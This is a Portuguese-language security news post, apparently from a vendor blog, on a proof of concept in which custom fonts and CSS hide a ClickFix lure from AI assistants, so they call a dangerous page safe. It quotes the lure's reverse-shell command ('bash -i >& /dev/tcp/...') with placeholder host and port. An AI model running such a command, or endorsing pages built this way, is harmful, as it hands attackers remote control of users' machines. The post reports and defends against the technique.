Pesquisadores publicaram uma demonstração de conceito (PoC) que utiliza fontes personalizadas para enganar diversos assistentes populares de Inteligência Artificial (IA), incluindo ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou e Genspark.
Imagine um livro em que o texto visível seja inofensivo, mas, escondida nas entrelinhas, haja uma segunda mensagem escrita com uma tinta especial, visível apenas aos humanos. Os humanos conseguem ver ambas as camadas. A IA não consegue e lê apenas a parte visível. Isso significa que a IA está trabalhando com uma visão incompleta, enquanto um leitor humano pode agir de acordo com instruções que a IA nem sequer viu.
Por que isso é importante
Já escrevemos anteriormente sobre diferentes tipos de ataques do tipo ClickFix, nos quais os cibercriminosos induzem as pessoas a infectarem seus próprios dispositivos. Suponha que você acesse uma página da web de aparência suspeita e pergunte ao seu assistente de IA: “É seguro executar este comando?”. O assistente verifica a página e responde que sim. Mas, como não consegue ler a página inteira, ele diz que é seguro quando, na verdade, não é.
Ao combinar fontes personalizadas com Folhas de Estilo em Cascata (CSS), o texto exibido ao usuário na página difere daquele que um assistente de IA vê ao ler o código HTML subjacente.
Neste exemplo, a parte do bloco no meio (contornada em vermelho) será descartada pelo assistente de IA como ruído. Mas o visitante humano do site vê:
Por favor, abra o terminal e digite bash
Depois de executá-lo, digite
bash -i >& /dev/tcp/{endereço-IP}/{número-da-porta} 0>&1
isso permitirá que você veja o easter egg do Rapture
Dependendo do endereço IP e do número da porta, isso pode ser suficiente para infectar o seu computador. Se você perguntar à IA se é seguro, ela pode responder que sim, pois só vê a versão inofensiva.
Os pesquisadores divulgaram suas descobertas aos principais provedores de plataformas de IA, seguindo os procedimentos de divulgação responsável.
As respostas foram decepcionantes:
“A maioria dos fornecedores rejeitou o relatório, geralmente alegando que esse ataque está fora do âmbito da segurança dos modelos de IA. Como resultado, os usuários desses modelos continuam expostos a esse vetor de ataque.
Os únicos fornecedores que aceitaram esse relatório e solicitaram tempo para corrigi-lo foram a Microsoft e o Google. Dentre eles, o Google acabou rebaixando a classificação (após inicialmente ter atribuído a classificação P2 (Alta)) e encerrou o relatório, possivelmente porque corrigi-lo exigiria muito esforço.
Embora esse ataque se baseie fortemente na engenharia social, sabemos exatamente quão eficazes essas táticas podem ser. E isso é ainda mais preocupante quando seu assistente de IA não consegue ter uma visão completa da situação.
Como se manter seguro
Se você usar um assistente de IA para verificar se algo é seguro:
- Copie e cole exatamente o comando que você pretende executar. Não confie na interpretação que a IA faz de uma página da web.
- Tenha cuidado com qualquer site que peça para você executar comandos, especialmente pelo terminal ou pela linha de comando.
- Se algo parecer estranho, pare. Os agressores aproveitam-se da urgência e da confusão.
As ferramentas também podem ajudar:
- O programa gratuito Malwarebytes Browser Guard avisa se um site tentar copiar algo para a sua área de transferência e neutraliza a ameaça adicionando algum texto. Isso ajuda a proteger você contra ataques tradicionais do tipo ClickFix, que dependem da execução de um comando da sua área de transferência.
- Uma solução antimalware atualizada e em tempo real, com um componente de proteção na web, bloqueará sites maliciosos conhecidos.
- Se você não confiar em um site, peça a opinião do Malwarebytes Guard. Ele é muito bom em detectar golpes.
Não nos limitamos a informar sobre fraudes - ajudamos a detectá-las
Os riscos de segurança cibernética nunca devem ir além de uma manchete. Se algo parecer suspeito para você, verifique se é uma fraude usando Malwarebytes Guard. Envie uma captura de tela, cole o conteúdo suspeito ou compartilhe um link, texto ou número de telefone, e nós informaremos se é uma fraude ou se é legítimo. Disponível com Premium Malwarebytes Premium para todos os seus dispositivos e no Malwarebytes para iOS Android.
